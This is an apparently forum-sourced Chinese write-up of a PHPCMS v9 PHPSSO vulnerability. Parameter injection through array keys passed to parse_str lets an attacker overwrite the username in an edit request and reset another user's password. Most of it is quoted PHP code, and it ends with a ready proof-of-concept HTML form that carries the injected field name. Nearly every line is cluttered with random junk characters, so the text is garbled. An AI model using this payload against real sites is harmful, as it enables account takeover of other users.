提到的通行证的代码:$ Q' E- g4 O0 k+ V( a- s
2 r% x' p8 \: W/ i' f d
4 _, b" O8 p. ^( ^( x
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);: i5 z/ c) u- I7 l4 d- @
: U( @5 K1 h( p# `! P b
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。3 h4 ^7 y. k; ~ E0 M- l% G! @
' a+ U) l, E9 f) q/ p
我把它留给了你们。3 ^/ ?* c0 {: [3 q. V k
不知道你们发现了它没有。9 i1 c% Z" X/ Z' @/ d1 L1 y
4 @7 e' L; k O5 m' ~* j我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
5 @, Q; j! K* Q& u* U6 U9 J( I+ B" H, p6 ]
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。/ k$ W; m/ Y! |$ n4 g
; e( g" b* C8 T# `) G0 r
也就是# D4 s7 d- x' o* m
$ ^' I s& S1 ?
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。7 |$ T j& m5 v$ X
$ G0 L r N3 T; s
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。) X& i7 u q' k8 m _
/ N' ^' }0 s& X9 A7 Z7 C1 e
9 ?- n' d8 i; r& R. q
其实我们有这样的机会,看看代码,如下:
9 p! ?- g! p4 p8 v8 `3 n0 _( V1 d, B9 `
7 y0 W3 B! z7 i( O8 x, b1 t8 P6 apublic function auth_data($data) {. ?9 j/ z4 o# m
$s = $sep = '';
7 f4 e1 m# h" b2 M6 [ foreach($data as $k => $v) {
3 t! Y$ P, D. f, B2 \0 g if(is_array($v)) {& c1 D# j/ g5 B0 @
$s2 = $sep2 = '';" B% X S9 V5 _/ s9 L/ ^6 ?2 X
foreach($v as $k2 => $v2) {
2 Q3 z4 ]3 r3 }, z4 z5 i $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);& L: g; M3 E+ k6 c) `
$sep2 = '&';8 G O/ W6 W, d; X
}, Z& ~ A: _4 _1 U9 j' Y
$s .= $sep.$s2;" k* `/ P }) ^
} else {
a, k8 z( h" Z% |8 a9 T $s .= "$sep$k=".$this->_ps_stripslashes($v);. }, z) l: b% }, C
}
. y$ M' ~5 H8 m9 t2 y $sep = '&';7 C; [' A+ t9 X: g+ g" K: w8 C6 w
}4 ?& q7 Y# p4 q. t3 Z
' U: R- u4 p/ d $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
7 {' r$ y( F( n K return $auth_s;
, a' P0 I( {0 _' j0 d: b( Z3 s2 m4 @ }1 v% q5 d' M$ D8 l3 H I' I% {
& x) m) e" b' O& |
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
; ] }, y' F. r" S j- G. G$ M# W1 w# s
举个例子
$ r* h) S1 u* G0 N2 s( J1 k; z( i& G( ], `
$a[aaa=a&bbb] = 'a';
7 [2 u( ^& Q; R' T' ^, q
4 H) z3 \7 q6 k* {% u1 I, x- L会变成aaa=a&bbb=a. O8 {+ d. F4 e
4 _1 Y8 X& t/ Z明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
4 O! V1 N8 |- {) ~4 }/ q4 S
9 O }/ u: }0 `6 b+ r8 Z这个时候,我们可以再去看一个函数。+ M' |( j% r1 [5 U
D8 S( @1 q/ v3 N- j5 P+ ~& j
就在这个文件内:
5 Z) x8 C. d( q& [! a+ f6 z' ]; |
. `( l% @" ?( A. q0 i6 \
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
) T. w0 Y7 x1 I, w" Y if($email && !$this->_is_email($email)) {
4 R5 I+ b) Y" o% c! D" z2 C" e return -4;
' J7 P" E2 V# n2 i }
' K# M; e- K5 a; z) L return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
9 n' h! ?- _3 u( {: B6 m2 Q% [ }1 J7 g4 o8 d) Y
- e0 l" a) \% B5 P这是向通行证发了这样一个请求。
% L' g; a8 M9 k; C5 j4 O# @3 J7 ?- m7 L7 Z4 g7 D7 ~8 h% S) y* I
我们再跟到通信证代码里去看看,就会有所发现。
" j% ?( b A& p5 {# U1 g% d: G- P, T
& |+ y6 R K5 O% q2 V4 D5 p
public function edit() {
+ I! |" A0 R' e, c+ O5 {4 N+ a$ h8 S9 d//能省就省,太长了不是吗?
+ z0 F1 B* N3 j" [, h ?& w7 E, r- q# \# I5 \, |! `
if($this->username) {
# j5 M3 f) m" |. E7 |//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。8 e' A* ?5 W: |6 z
$res = $this->db->update($data, array('username'=>$this->username));
% t7 j- o: W, E! v7 ]7 R } else {
! t' {# a; H3 o$ m2 b file_put_contents('typeb.txt',print_r($data,1).$this->uid);
7 ?! w/ l$ q# x( [ $res = $this->db->update($data, array('uid'=>$this->uid));
& c& r! h6 `2 T1 | }
, L7 ]# e( v7 l1 C5 n, R
3 m3 _& x i. F! v/ h: ?# t好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:3 Y7 d4 p$ b' B- P6 o1 M3 r
q h& g+ W* Q) ]0 L* [2 [public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')+ [/ ^8 q/ t9 f$ A! ? a6 N
' a2 N$ {+ @ ]1 [+ g3 d. ?
很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。
( d1 E: U, v8 v
7 N5 n0 j) b+ i- [我当然找到了:& ^* \ L2 y# I0 l
phpcms9/phpcms/modules/member/index.php1 s/ l: _7 ~' d, T
a6 }; J1 Z1 n) M* L- M0 l$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
1 F( i5 J3 M6 p+ G; w
# i& v4 ~ Z/ M5 e然后就没有然后了。( I: f" y" u9 I1 K# c
# {0 u1 a% F8 [* d1 |2 q<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">; u1 U! d$ Q5 P: Y1 f7 i8 z
<table width="100%" cellspacing="0" class="table_form">
6 J5 F( v! a- o <tr>
# B# K, }, r& A( j! M6 [ <th width="80">邮箱:</th> 4 r0 S O1 N5 H5 H* ?$ V
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>0 Z- p- Y3 F. i. u
</tr>1 Q, b" c1 ^0 P
<tr>
/ C' G2 k& u7 n8 k: X6 [ <th width="80">原密码:</th>
( ]0 U$ ~) \( `# `7 {) ? <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>& ~& P/ }. W$ J0 F! ^& g
</tr>6 A9 E# m" C! f* H
<tr>: n4 S* s0 ], l# }: U1 R3 q s
<th>新密码:</th>% X. g7 A: R% h+ X$ \
<td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>! v/ I& _& B! ^# g3 U
</tr>
2 w$ t" N) q/ C) A m <th></th>
4 t9 D1 I& G) g, R& [: }! s6 } <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
& s( {4 F( k( [ </tr>6 o2 b. g8 y- ^8 _4 i
</table># J* `# }4 I6 ^
" s k: G% L* ~6 d9 H- K* o$ `. E% {
9 x" o o X. b; o0 F( k3 w/ k
</form>, J9 c) c+ f4 O8 C" X/ ?' w) l9 ^
|